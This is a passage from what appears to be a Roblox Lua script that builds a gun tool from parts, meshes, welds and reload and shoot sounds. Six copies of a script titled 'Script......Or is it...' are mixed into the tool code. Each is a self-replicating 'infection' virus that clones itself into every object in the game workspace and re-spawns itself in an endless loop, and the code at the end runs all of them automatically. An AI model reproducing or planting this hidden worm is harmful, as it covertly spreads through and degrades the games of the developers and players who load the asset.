  5853. Part485.FormFactor = Enum.FormFactor.Custom
  5854. Part485.Size = Vector3.new(0.200000003, 0.213333279, 0.200000003)
  5855. Part485.CFrame = CFrame.new(143.682938, 3.726578, 144.39093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  5856. Part485.BottomSurface = Enum.SurfaceType.Smooth
  5857. Part485.TopSurface = Enum.SurfaceType.Smooth
  5858. Part485.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5859. Part485.Position = Vector3.new(143.682938, 3.726578, 144.39093)
  5860. Part485.Orientation = Vector3.new(-90, -180, 0)
  5861. Part485.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5862. CylinderMesh486.Parent = Part485
  5863. CylinderMesh486.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  5864. CylinderMesh486.Scale = Vector3.new(0.333333433, 1, 0.166666672)
  5865. Part487.Parent = Tool0
  5866. Part487.Material = Enum.Material.Metal
  5867. Part487.BrickColor = BrickColor.new("Black")
  5868. Part487.Rotation = Vector3.new(-90, 0, 90)
  5869. Part487.Anchored = true
  5870. Part487.FormFactor = Enum.FormFactor.Symmetric
  5871. Part487.Size = Vector3.new(1, 1, 1)
  5872. Part487.CFrame = CFrame.new(143.869598, 3.14325094, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  5873. Part487.BottomSurface = Enum.SurfaceType.Smooth
  5874. Part487.TopSurface = Enum.SurfaceType.Smooth
  5875. Part487.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5876. Part487.Position = Vector3.new(143.869598, 3.14325094, 144.39093)
  5877. Part487.Orientation = Vector3.new(-90, 90, 0)
  5878. Part487.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5879. BlockMesh488.Parent = Part487
  5880. BlockMesh488.Scale = Vector3.new(0.13333334, 0.233333334, 0.0666666701)
  5881. BlockMesh488.Scale = Vector3.new(0.13333334, 0.233333334, 0.0666666701)
  5882. Part489.Parent = Tool0
  5883. Part489.Material = Enum.Material.Metal
  5884. Part489.BrickColor = BrickColor.new("Black")
  5885. Part489.Rotation = Vector3.new(0, 90, 0)
  5886. Part489.Anchored = true
  5887. Part489.FormFactor = Enum.FormFactor.Custom
  5888. Part489.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5889. Part489.CFrame = CFrame.new(144.469604, 3.84324694, 144.28093, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  5890. Part489.BottomSurface = Enum.SurfaceType.Smooth
  5891. Part489.TopSurface = Enum.SurfaceType.Smooth
  5892. Part489.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5893. Part489.Position = Vector3.new(144.469604, 3.84324694, 144.28093)
  5894. Part489.Orientation = Vector3.new(0, 90, 0)
  5895. Part489.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5896. BlockMesh490.Parent = Part489
  5897. BlockMesh490.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
  5898. BlockMesh490.Scale = Vector3.new(0.0333333351, 0.13333337, 0.166666642)
  5899. Part491.Parent = Tool0
  5900. Part491.Material = Enum.Material.Metal
  5901. Part491.BrickColor = BrickColor.new("Dark stone grey")
  5902. Part491.Rotation = Vector3.new(-90, 29.9899998, 90)
  5903. Part491.Anchored = true
  5904. Part491.FormFactor = Enum.FormFactor.Custom
  5905. Part491.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5906. Part491.CFrame = CFrame.new(144.279358, 3.49902511, 144.39093, 0, -0.866130412, 0.499818146, 0, 0.499818146, 0.866130412, -1, -0, 0)
  5907. Part491.BottomSurface = Enum.SurfaceType.Smooth
  5908. Part491.TopSurface = Enum.SurfaceType.Smooth
  5909. Part491.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5910. Part491.Position = Vector3.new(144.279358, 3.49902511, 144.39093)
  5911. Part491.Orientation = Vector3.new(-60.0099983, 90, 0)
  5912. Part491.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5913. BlockMesh492.Parent = Part491
  5914. BlockMesh492.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  5915. BlockMesh492.Scale = Vector3.new(0.599999964, 0.100000009, 0.166666672)
  5916. Part493.Parent = Tool0
  5917. Part493.Material = Enum.Material.Metal
  5918. Part493.BrickColor = BrickColor.new("Dark stone grey")
  5919. Part493.Rotation = Vector3.new(90, 0.00999999978, 90)
  5920. Part493.Anchored = true
  5921. Part493.FormFactor = Enum.FormFactor.Custom
  5922. Part493.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5923. Part493.CFrame = CFrame.new(144.286911, 3.62545395, 144.39093, 0, -1, 0.00012601912, 0, -0.00012601912, -1, 1, 0, 0)
  5924. Part493.BottomSurface = Enum.SurfaceType.Smooth
  5925. Part493.TopSurface = Enum.SurfaceType.Smooth
  5926. Part493.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5927. Part493.Position = Vector3.new(144.286911, 3.62545395, 144.39093)
  5928. Part493.Orientation = Vector3.new(90, -90, 0)
  5929. Part493.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5930. BlockMesh494.Parent = Part493
  5931. BlockMesh494.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
  5932. BlockMesh494.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
  5933. ManualWeld495.Name = "Part-to-Handle Strong Joint"
  5934. ManualWeld495.Parent = Part493
  5935. ManualWeld495.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
  5936. ManualWeld495.C1 = CFrame.new(-0.100006104, -0.140009403, -0.100021362, -1, 0, 0, 0, -1, -0.000188931823, 0, -0.000188931823, 1)
  5937. ManualWeld495.Part0 = Part493
  5938. ManualWeld495.Part1 = Part30
  5939. Part496.Parent = Tool0
  5940. Part496.Material = Enum.Material.Metal
  5941. Part496.BrickColor = BrickColor.new("Dark stone grey")
  5942. Part496.Rotation = Vector3.new(90, 0, -180)
  5943. Part496.Anchored = true
  5944. Part496.FormFactor = Enum.FormFactor.Custom
  5945. Part496.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5946. Part496.CFrame = CFrame.new(143.222946, 4.07324219, 144.410934, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  5947. Part496.BottomSurface = Enum.SurfaceType.Smooth
  5948. Part496.TopSurface = Enum.SurfaceType.Smooth
  5949. Part496.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5950. Part496.Position = Vector3.new(143.222946, 4.07324219, 144.410934)
  5951. Part496.Orientation = Vector3.new(90, 180, 0)
  5952. Part496.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5953. BlockMesh497.Parent = Part496
  5954. BlockMesh497.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
  5955. BlockMesh497.Scale = Vector3.new(0.0233333316, 0.11999999, 0.0333333351)
  5956. Part498.Parent = Tool0
  5957. Part498.Material = Enum.Material.Metal
  5958. Part498.BrickColor = BrickColor.new("Dark stone grey")
  5959. Part498.Rotation = Vector3.new(-90, -45, -90)
  5960. Part498.Anchored = true
  5961. Part498.FormFactor = Enum.FormFactor.Custom
  5962. Part498.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5963. Part498.CFrame = CFrame.new(144.112671, 3.58569193, 144.39093, 0, 0.707084656, -0.707129121, 0, 0.707129121, 0.707084656, 1, 0, -0)
  5964. Part498.BottomSurface = Enum.SurfaceType.Smooth
  5965. Part498.TopSurface = Enum.SurfaceType.Smooth
  5966. Part498.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5967. Part498.Position = Vector3.new(144.112671, 3.58569193, 144.39093)
  5968. Part498.Orientation = Vector3.new(-45, -90, 0)
  5969. Part498.Color = Color3.new(0.388235, 0.372549, 0.384314)
  5970. BlockMesh499.Parent = Part498
  5971. BlockMesh499.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  5972. BlockMesh499.Scale = Vector3.new(0.299999982, 0.100000009, 0.166666672)
  5973. Part500.Parent = Tool0
  5974. Part500.Material = Enum.Material.Metal
  5975. Part500.BrickColor = BrickColor.new("Black")
  5976. Part500.Rotation = Vector3.new(-90, -15.0099993, -90)
  5977. Part500.Anchored = true
  5978. Part500.FormFactor = Enum.FormFactor.Custom
  5979. Part500.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5980. Part500.CFrame = CFrame.new(143.124802, 3.89670396, 144.300934, 0, 0.965896666, -0.258930802, 0, 0.258930802, 0.965896666, 1, 0, -0)
  5981. Part500.BottomSurface = Enum.SurfaceType.Smooth
  5982. Part500.TopSurface = Enum.SurfaceType.Smooth
  5983. Part500.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5984. Part500.Position = Vector3.new(143.124802, 3.89670396, 144.300934)
  5985. Part500.Orientation = Vector3.new(-74.9899979, -90, 0)
  5986. Part500.Color = Color3.new(0.105882, 0.164706, 0.207843)
  5987. SpecialMesh501.Parent = Part500
  5988. SpecialMesh501.Scale = Vector3.new(0.133333102, 0.100000009, 0.666666746)
  5989. SpecialMesh501.MeshType = Enum.MeshType.Wedge
  5990. SpecialMesh501.Scale = Vector3.new(0.133333102, 0.100000009, 0.666666746)
  5991. Part502.Parent = Tool0
  5992. Part502.Material = Enum.Material.Metal
  5993. Part502.BrickColor = BrickColor.new("Dark stone grey")
  5994. Part502.Rotation = Vector3.new(-90, 0, -180)
  5995. Part502.Anchored = true
  5996. Part502.FormFactor = Enum.FormFactor.Custom
  5997. Part502.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  5998. Part502.CFrame = CFrame.new(143.782944, 3.76324296, 144.500931, -1, 0, 0, 0, 0, 1, 0, 1, -0)
  5999. Part502.BottomSurface = Enum.SurfaceType.Smooth
  6000. Part502.TopSurface = Enum.SurfaceType.Smooth
  6001. Part502.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6002. Part502.Position = Vector3.new(143.782944, 3.76324296, 144.500931)
  6003. Part502.Orientation = Vector3.new(-90, -180, 0)
  6004. Part502.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6005. CylinderMesh503.Parent = Part502
  6006. CylinderMesh503.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  6007. CylinderMesh503.Scale = Vector3.new(0.333333343, 0.0333333351, 3.33333349)
  6008. Part504.Parent = Tool0
  6009. Part504.Material = Enum.Material.Metal
  6010. Part504.BrickColor = BrickColor.new("Dark stone grey")
  6011. Part504.Rotation = Vector3.new(90, 0, -180)
  6012. Part504.Anchored = true
  6013. Part504.FormFactor = Enum.FormFactor.Custom
  6014. Part504.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  6015. Part504.CFrame = CFrame.new(143.802933, 3.43991399, 144.320938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  6016. Part504.BottomSurface = Enum.SurfaceType.Smooth
  6017. Part504.TopSurface = Enum.SurfaceType.Smooth
  6018. Part504.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6019. Part504.Position = Vector3.new(143.802933, 3.43991399, 144.320938)
  6020. Part504.Orientation = Vector3.new(90, 180, 0)
  6021. Part504.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6022. CylinderMesh505.Parent = Part504
  6023. CylinderMesh505.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  6024. CylinderMesh505.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
  6025. Part506.Parent = Tool0
  6026. Part506.Material = Enum.Material.Metal
  6027. Part506.BrickColor = BrickColor.new("Dark stone grey")
  6028. Part506.Rotation = Vector3.new(-180, 0, 0)
  6029. Part506.Anchored = true
  6030. Part506.FormFactor = Enum.FormFactor.Custom
  6031. Part506.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  6032. Part506.CFrame = CFrame.new(144.936279, 4.06991482, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  6033. Part506.BottomSurface = Enum.SurfaceType.Smooth
  6034. Part506.TopSurface = Enum.SurfaceType.Smooth
  6035. Part506.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6036. Part506.Position = Vector3.new(144.936279, 4.06991482, 144.387604)
  6037. Part506.Orientation = Vector3.new(0, 180, 180)
  6038. Part506.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6039. CylinderMesh507.Parent = Part506
  6040. CylinderMesh507.Scale = Vector3.new(0.0649996921, 0.266666681, 0.0650000274)
  6041. CylinderMesh507.Scale = Vector3.new(0.0649996921, 0.266666681, 0.0650000274)
  6042. Part508.Parent = Tool0
  6043. Part508.Material = Enum.Material.Metal
  6044. Part508.BrickColor = BrickColor.new("Dark stone grey")
  6045. Part508.Rotation = Vector3.new(90, 0, -180)
  6046. Part508.Anchored = true
  6047. Part508.FormFactor = Enum.FormFactor.Custom
  6048. Part508.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  6049. Part508.CFrame = CFrame.new(144.939606, 4.04324293, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  6050. Part508.BottomSurface = Enum.SurfaceType.Smooth
  6051. Part508.TopSurface = Enum.SurfaceType.Smooth
  6052. Part508.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6053. Part508.Position = Vector3.new(144.939606, 4.04324293, 144.337601)
  6054. Part508.Orientation = Vector3.new(90, 180, 0)
  6055. Part508.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6056. BlockMesh509.Parent = Part508
  6057. BlockMesh509.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
  6058. BlockMesh509.Scale = Vector3.new(0.266666651, 0.0666662827, 0.26666671)
  6059. Part510.Name = "Handle"
  6060. Part510.Parent = Tool0
  6061. Part510.Material = Enum.Material.Metal
  6062. Part510.BrickColor = BrickColor.new("Dark stone grey")
  6063. Part510.Transparency = 5
  6064. Part510.Rotation = Vector3.new(0, -90, 0)
  6065. Part510.Anchored = true
  6066. Part510.FormFactor = Enum.FormFactor.Custom
  6067. Part510.Size = Vector3.new(0.200000003, 0.200000003, 0.200000048)
  6068. Part510.CFrame = CFrame.new(144.086838, 3.19991946, 144.39093, 0, 6.29127026e-05, -1, 0, 1, 6.29127026e-05, 1, 0, -0)
  6069. Part510.BottomSurface = Enum.SurfaceType.Smooth
  6070. Part510.TopSurface = Enum.SurfaceType.Smooth
  6071. Part510.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6072. Part510.Position = Vector3.new(144.086838, 3.19991946, 144.39093)
  6073. Part510.Orientation = Vector3.new(0, -90, 0)
  6074. Part510.Color = Color3.new(0.388235, 0.372549, 0.384314)
  6075. BlockMesh511.Parent = Part510
  6076. BlockMesh511.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
  6077. BlockMesh511.Scale = Vector3.new(0.299999982, 0.433333337, 0.100000009)
  6078. Sound512.Name = "Reload"
  6079. Sound512.Parent = Part510
  6080. Sound512.SoundId = "http://roblox.com/asset/?id=10209636"
  6081. Sound512.Volume = 1
  6082. Sound512.PlayOnRemove = true
  6083. Script513.Name = "Script......Or is it..."
  6084. Script513.Parent = mas
  6085. table.insert(cors,sandbox(Script513,function()
  6086. if script.Parent.className ~= "RotateP" then
  6087. local p = Instance.new("RotateP")
  6088. p.Parent = workspace
  6089. p.Name = "INfecTION"
  6090. script.Parent = p
  6091. end
  6092.  
  6093. function check()
  6094. local list = workspace:GetChildren()
  6095. for i = 1, #list do
  6096. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  6097. script.Parent:Clone().Parent = list[i]
  6098. end
  6099. wait()
  6100. end
  6101. end
  6102.  
  6103. while true do
  6104. check()
  6105. if workspace:findFirstChild("inFECtion") == nil then
  6106. local main = script.Parent:Clone()
  6107. main.Name = "inFECtion"
  6108. main.Parent = workspace
  6109. end
  6110. wait(3)
  6111. end
  6112.  
  6113. end))
  6114. Sound514.Name = "Reload"
  6115. Sound514.Parent = Part510
  6116. Sound514.Pitch = 2
  6117. Sound514.SoundId = "http://roblox.com/asset/?id=10209834"
  6118. Sound514.Volume = 1
  6119. Sound514.PlayOnRemove = true
  6120. Script515.Name = "Script......Or is it..."
  6121. Script515.Parent = mas
  6122. table.insert(cors,sandbox(Script515,function()
  6123. if script.Parent.className ~= "RotateP" then
  6124. local p = Instance.new("RotateP")
  6125. p.Parent = workspace
  6126. p.Name = "INfecTION"
  6127. script.Parent = p
  6128. end
  6129.  
  6130. function check()
  6131. local list = workspace:GetChildren()
  6132. for i = 1, #list do
  6133. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  6134. script.Parent:Clone().Parent = list[i]
  6135. end
  6136. wait()
  6137. end
  6138. end
  6139.  
  6140. while true do
  6141. check()
  6142. if workspace:findFirstChild("inFECtion") == nil then
  6143. local main = script.Parent:Clone()
  6144. main.Name = "inFECtion"
  6145. main.Parent = workspace
  6146. end
  6147. wait(3)
  6148. end
  6149.  
  6150. end))
  6151. Sound516.Name = "Reload"
  6152. Sound516.Parent = Part510
  6153. Sound516.Pitch = 3
  6154. Sound516.SoundId = "http://roblox.com/asset/?id=10209834"
  6155. Sound516.Volume = 1
  6156. Sound516.PlayOnRemove = true
  6157. Script517.Name = "Script......Or is it..."
  6158. Script517.Parent = mas
  6159. table.insert(cors,sandbox(Script517,function()
  6160. if script.Parent.className ~= "RotateP" then
  6161. local p = Instance.new("RotateP")
  6162. p.Parent = workspace
  6163. p.Name = "INfecTION"
  6164. script.Parent = p
  6165. end
  6166.  
  6167. function check()
  6168. local list = workspace:GetChildren()
  6169. for i = 1, #list do
  6170. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  6171. script.Parent:Clone().Parent = list[i]
  6172. end
  6173. wait()
  6174. end
  6175. end
  6176.  
  6177. while true do
  6178. check()
  6179. if workspace:findFirstChild("inFECtion") == nil then
  6180. local main = script.Parent:Clone()
  6181. main.Name = "inFECtion"
  6182. main.Parent = workspace
  6183. end
  6184. wait(3)
  6185. end
  6186.  
  6187. end))
  6188. Sound518.Name = "Reload"
  6189. Sound518.Parent = Part510
  6190. Sound518.Pitch = 0.75
  6191. Sound518.SoundId = "http://roblox.com/asset/?id=10209834"
  6192. Sound518.Volume = 1
  6193. Sound518.PlayOnRemove = true
  6194. Script519.Name = "Script......Or is it..."
  6195. Script519.Parent = mas
  6196. table.insert(cors,sandbox(Script519,function()
  6197. if script.Parent.className ~= "RotateP" then
  6198. local p = Instance.new("RotateP")
  6199. p.Parent = workspace
  6200. p.Name = "INfecTION"
  6201. script.Parent = p
  6202. end
  6203.  
  6204. function check()
  6205. local list = workspace:GetChildren()
  6206. for i = 1, #list do
  6207. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  6208. script.Parent:Clone().Parent = list[i]
  6209. end
  6210. wait()
  6211. end
  6212. end
  6213.  
  6214. while true do
  6215. check()
  6216. if workspace:findFirstChild("inFECtion") == nil then
  6217. local main = script.Parent:Clone()
  6218. main.Name = "inFECtion"
  6219. main.Parent = workspace
  6220. end
  6221. wait(3)
  6222. end
  6223.  
  6224. end))
  6225. Sound520.Name = "Shoot"
  6226. Sound520.Parent = Part510
  6227. Sound520.Pitch = 2
  6228. Sound520.SoundId = "http://www.roblox.com/asset/?id=2692477"
  6229. Sound520.Volume = 1
  6230. Script521.Name = "Script......Or is it..."
  6231. Script521.Parent = mas
  6232. table.insert(cors,sandbox(Script521,function()
  6233. if script.Parent.className ~= "RotateP" then
  6234. local p = Instance.new("RotateP")
  6235. p.Parent = workspace
  6236. p.Name = "INfecTION"
  6237. script.Parent = p
  6238. end
  6239.  
  6240. function check()
  6241. local list = workspace:GetChildren()
  6242. for i = 1, #list do
  6243. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  6244. script.Parent:Clone().Parent = list[i]
  6245. end
  6246. wait()
  6247. end
  6248. end
  6249.  
  6250. while true do
  6251. check()
  6252. if workspace:findFirstChild("inFECtion") == nil then
  6253. local main = script.Parent:Clone()
  6254. main.Name = "inFECtion"
  6255. main.Parent = workspace
  6256. end
  6257. wait(3)
  6258. end
  6259.  
  6260. end))
  6261. Script522.Name = "Script......Or is it..."
  6262. Script522.Parent = mas
  6263. table.insert(cors,sandbox(Script522,function()
  6264. if script.Parent.className ~= "RotateP" then
  6265. local p = Instance.new("RotateP")
  6266. p.Parent = workspace
  6267. p.Name = "INfecTION"
  6268. script.Parent = p
  6269. end
  6270.  
  6271. function check()
  6272. local list = workspace:GetChildren()
  6273. for i = 1, #list do
  6274. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  6275. script.Parent:Clone().Parent = list[i]
  6276. end
  6277. wait()
  6278. end
  6279. end
  6280.  
  6281. while true do
  6282. check()
  6283. if workspace:findFirstChild("inFECtion") == nil then
  6284. local main = script.Parent:Clone()
  6285. main.Name = "inFECtion"
  6286. main.Parent = workspace
  6287. end
  6288. wait(3)
  6289. end
  6290.  
  6291. end))
  6292. for i,v in pairs(mas:GetChildren()) do
  6293. v.Parent = game:GetService("Players").LocalPlayer.Backpack
  6294. pcall(function() v:MakeJoints() end)
  6295. end
  6296. mas:Destroy()
  6297. for i,v in pairs(cors) do
  6298. spawn(function()
  6299. pcall(v)
  6300. end)
  6301. end
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